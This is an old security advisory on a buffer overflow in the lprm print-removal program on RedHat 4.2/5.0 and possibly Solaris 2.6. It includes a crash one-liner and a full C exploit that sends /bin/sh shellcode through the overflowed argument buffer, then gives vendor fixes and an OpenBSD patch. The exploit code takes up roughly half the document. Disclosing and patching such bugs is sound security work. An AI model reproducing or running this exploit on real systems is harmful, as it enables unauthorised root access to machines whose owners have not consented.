COMMAND

    lprm

SYSTEMS AFFECTED

    RedHat 4.2, 5.0, Solaris 2.6(?)

PROBLEM

    Chris Evans found a local->root compromise in the lprm program, as
    shipped RedHat4.2 and RedHat5.0. Other systems untested.  There is
    a  prerequisite  to  exploiting  this,  that  a  remote printer be
    defined (rm  field).   If trying  to remove  entries from a remote
    queue,  the  args  given  are  basically strcat()'ed into a static
    buffer.  Thus:

        lprm -Psome_remote `perl -e 'print "a" x 2000'`
        Segmentation fault

    gdb  confirms  the  program  is  attempting  to  execute  code  at
    0x41414141 so making exploit is  easy (see below).  It  seems that
    Solaris 2.6 has same problem (2.5.1 is safe).

    Other potential problems include  assumptions about host name  max
    lengths, dubious /etc/printcap parsing (but it seems user  defined
    printcap  files  are  not  allowed).   There  is  also  a  blatant
    strcpy(buf, getenv("something")) but luckily it is #ifdef'ed  out.
    File/filename handling looks iffy at times too.  Exploit for this
    one now follows:

   /* lprm.c
    * The offset will be very high for some reason, so don't be alarmed.
    * This was tested with Redhat 4.2.  This will only work with a
    * remote printer defined in /etc/printcap.  Remember to change
    * the PRINTER define accordingly.
    * Seth McGann <smm@wpi.edu>
    */

    #include <stdio.h>
    #define PRINTER "-Pwhatever"


    static inline getesp() {
      __asm__(" movl %esp,%eax ");
    }

    main(int argc, char **argv) {
      int i,j,buffer,offset;
      long unsigned esp;
      char unsigned buf[4096];

      unsigned char
      shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c"
                  "\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";

      buffer=990;
      offset=3000;

      if (argc>1)buffer=atoi(argv[1]);
      if (argc>2)offset=atoi(argv[2]);


      for (i=0;i<buffer;i++)
         buf[i]=0x41;  /* inc ecx */

      j=0;

      for (i=buffer;i<buffer+strlen(shellcode);i++)
          buf[i]=shellcode[j++];

      esp=getesp()+offset;

      buf[i]=esp & 0xFF;
      buf[i+1]=(esp >> 8) & 0xFF;
      buf[i+2]=(esp >> 16) & 0xFF;
      buf[i+3]=(esp >> 24) & 0xFF;

      buf[i+4]=esp & 0xFF;
      buf[i+5]=(esp >> 8) & 0xFF;
      buf[i+6]=(esp >> 16) & 0xFF;
      buf[i+7]=(esp >> 24) & 0xFF;

      printf("Offset: 0x%x\n\n",esp);

      execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
    }

SOLUTION

    You can get a  updated lprm from the  redhat site... for both  4.2
    and  5.0.    OpenBSD,   FreeBSD  fixed   it  long   ago.    NetBSD
    incorporated the fixed-up BSD lpr system and the fixed-up  version
    is in the NetBSD 1.3 release.  Here's OpenBSD solution:

    ===================================================================
    RCS file: /usr/OpenBSD/cvs/src/usr.sbin/lpr/common_source/rmjob.c,v
    retrieving revision 1.3
    retrieving revision 1.4
    diff -u -r1.3 -r1.4
    --- src/usr.sbin/lpr/common_source/rmjob.c      1996/07/04 05:41:52 1.3
    +++ src/usr.sbin/lpr/common_source/rmjob.c      1996/10/25 19:38:21 1.4
    @@ -327,12 +327,12 @@

            (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
            cp = buf;
    -       for (i = 0; i < users; i++) {
    +       for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof buf; i++) {
                    cp += strlen(cp);
                    *cp++ = ' ';
                    strcpy(cp, user[i]);
            }
    -       for (i = 0; i < requests; i++) {
    +       for (i = 0; i < requests && cp-buf+10 < sizeof buf; i++) {
                    cp += strlen(cp);
                    (void) sprintf(cp, " %d", requ[i]);
            }